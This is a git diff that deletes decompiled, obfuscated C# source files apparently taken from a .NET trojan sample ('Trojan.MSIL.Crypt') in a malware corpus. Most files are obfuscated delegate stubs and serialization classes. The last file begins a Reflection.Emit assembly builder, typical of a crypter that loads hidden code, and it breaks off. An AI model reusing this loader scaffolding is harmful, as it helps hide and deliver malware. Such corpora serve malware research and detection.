/dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate object \u000A\u0004([In] object obj0, [In] object obj1, [In] object[] obj2); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0005.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0005.cs deleted file mode 100644 index 34682572..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0005.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.IO; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate MemoryStream \u000A\u0005([In] byte[] obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0006.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0006.cs deleted file mode 100644 index 71477782..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0006.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.IO; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate Stream \u000A\u0006([In] object obj0, [In] string obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0007.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0007.cs deleted file mode 100644 index 0572c418..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0007.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate byte[] \u000A\u0007([In] object obj0, [In] int obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0008.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0008.cs deleted file mode 100644 index 01e40dce..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0008.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.IO; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate BinaryReader \u000A\u0008([In] Stream obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0009.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0009.cs deleted file mode 100644 index 7ee9552e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0009.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate string \u000A\u0009([In] string[] obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_000A.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_000A.cs deleted file mode 100644 index bc81eaae..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_000A.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate string \u000A\u000A([In] object obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0012.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0012.cs deleted file mode 100644 index a94bd316..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0012.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Text; - -namespace ___codefort -{ - internal delegate StringBuilder \u000A\u0012(); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0013.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0013.cs deleted file mode 100644 index ff9fda25..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0013.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate string[] \u000A\u0013([In] object obj0, [In] char[] obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0014.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0014.cs deleted file mode 100644 index 93b6a178..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0014.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate string \u000A\u0014([In] object obj0, [In] int obj1, [In] int obj2); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0015.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0015.cs deleted file mode 100644 index ad8be02b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0015.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; -using System.Text; - -namespace ___codefort -{ - internal delegate StringBuilder \u000A\u0015([In] object obj0, [In] string obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0016.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0016.cs deleted file mode 100644 index fee1f0f5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0016.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate int \u000A\u0016([In] object obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0017.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0017.cs deleted file mode 100644 index 57b54d2e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_000A_0017.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate string \u000A\u0017([In] object obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0001.cs deleted file mode 100644 index 0e51ff4f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0001.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate Type \u0012\u0001([In] RuntimeTypeHandle obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0002.cs deleted file mode 100644 index 3ed4a83d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0002.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate void \u0012\u0002([In] object obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0003.cs deleted file mode 100644 index 64b799e0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0003.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate string \u0012\u0003([In] string obj0, [In] string obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0004.cs deleted file mode 100644 index 848f5165..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0004.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate string \u0012\u0004([In] ref object obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0005.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0005.cs deleted file mode 100644 index eaa11749..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0005.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate object \u0012\u0005([In] object obj0, [In] object obj1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0006.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0006.cs deleted file mode 100644 index 7b7d8b8f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0006.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate FieldInfo \u0012\u0006([In] object obj0, [In] string obj1, [In] BindingFlags obj2); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0007.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0007.cs deleted file mode 100644 index 71b60163..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0007.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate Exception \u0012\u0007([In] string obj0); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0008.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0008.cs deleted file mode 100644 index 9aecd49b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0008.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal delegate string \u0012\u0008([In] string obj0, [In] string obj1, [In] string obj2, [In] string obj3); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0009.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0009.cs deleted file mode 100644 index 91feb8bb..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0009.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Collections.Generic; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; - -namespace ___codefort -{ - [DataContract(IsReference = true, Name = "p", Namespace = "")] - public class \u0012\u0009 : \u0013\u0008 - { - public \u0012\u0009( - [In] string obj0, - [In] \u0013\u0005 obj1, - [In] MethodAttributes obj2, - [In] \u0013\u0016 obj3, - [In] CallingConventions obj4, - [In] MethodImplAttributes obj5, - [In] IEnumerable<\u0012\u0013> obj6) - : base(obj0, obj1, (int) obj2, obj3) - { - this.\u0003\u0004\u0012 = new List<\u0013\u0015>(); - this.\u0003\u0004\u0014 = new List<\u0012\u0013>(obj6); - this.\u0003\u0004\u0015 = obj4; - this.\u0003\u0004\u0017 = obj5; - } - - [DataMember(EmitDefaultValue = false, Name = "A")] - public List<\u0013\u0015> \u0003\u0004\u0012 { get; [param: In] set; } - - [DataMember(EmitDefaultValue = false, Name = "C")] - public CallingConventions \u0003\u0004\u0015 { get; [param: In] set; } - - [DataMember(EmitDefaultValue = false, Name = "P")] - public List<\u0012\u0013> \u0003\u0004\u0014 { get; [param: In] set; } - - [DataMember(EmitDefaultValue = false, Name = "I")] - public MethodImplAttributes \u0003\u0004\u0017 { get; [param: In] set; } - - public virtual string \u0003\u0004\u0013() => this.\u0002\u0016\u0008; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_000A.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_000A.cs deleted file mode 100644 index e6b21179..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_000A.cs +++ /dev/null @@ -1,35 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. - -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System.Reflection; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; - -namespace ___codefort -{ - [DataContract(IsReference = true, Name = "o", Namespace = "")] - public class \u0012\u000A : \u0013\u0008 - { - public \u0012\u000A( - [In] string obj0, - [In] EventAttributes obj1, - [In] \u0013\u0016 obj2, - [In] \u0012\u0009 obj3, - [In] \u0012\u0009 obj4) - : base(obj0, \u0013\u0005.\u0002\u0016\u000A, (int) obj1, obj2) - { - this.\u0002\u0014\u0015 = obj3; - this.\u0002\u0014\u0014 = obj4; - } - - [DataMember(EmitDefaultValue = false, Name = "A")] - public \u0012\u0009 \u0002\u0014\u0015 { get; [param: In] set; } - - [DataMember(EmitDefaultValue = false, Name = "R")] - public \u0012\u0009 \u0002\u0014\u0014 { get; [param: In] set; } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0012.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0012.cs deleted file mode 100644 index 7df89517..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75/_0012_0012.cs +++ /dev/null @@ -1,409 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ___codefort. -// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 78CA5C80-4468-4951-96CD-AAE77DEC3305 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hixz-2c5e5faaed4f224f916102058544604c85e25aea75846857f578c0af84bc5c75.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -namespace ___codefort -{ - internal class \u0012\u0012 - { - private \u0013\u0012 \u0003\u0004\u0007; - private AssemblyBuilder \u0003\u0003\u000A; - private ModuleBuilder \u0003\u0003\u0009; - private Dictionary<\u0013\u0006, Type> \u0003\u0003\u0013; - private Dictionary<\u0013\u0006, TypeBuilder> \u0003\u0003\u0012; - private Dictionary<\u0013\u0008, MemberInfo> \u0003\u0003\u0015; - private Dictionary<\u0012\u0009, ILGenerator> \u0003\u0003\u0014; - - public \u0012\u0012([In] Stream obj0) - : this(\u0013\u0012.\u0002\u0008\u0015(obj0)) - { - } - - public \u0012\u0012([In] \u0013\u0012 obj0) - { - this.\u0003\u0004\u0007 = obj0; - this.\u0003\u0003\u0013 = new Dictionary<\u0013\u0006, Type>(); - this.\u0003\u0003\u0012 = new Dictionary<\u0013\u0006, TypeBuilder>(); - this.\u0003\u0003\u0015 = new Dictionary<\u0013\u0008, MemberInfo>(); - this.\u0003\u0003\u0014 = new Dictionary<\u0012\u0009, ILGenerator>(); - } - - public void \u0003\u0003\u0017([In] string obj0) - { - this.\u0003\u0003\u000A = \u0009\u0004.\u0003\u0015\u0003((object) \u0009\u0002.\u0003\u0015\u0016(\u0009\u0002.\u0017\u0004), \u0009\u0001.\u0003\u0015\u0001(obj0, 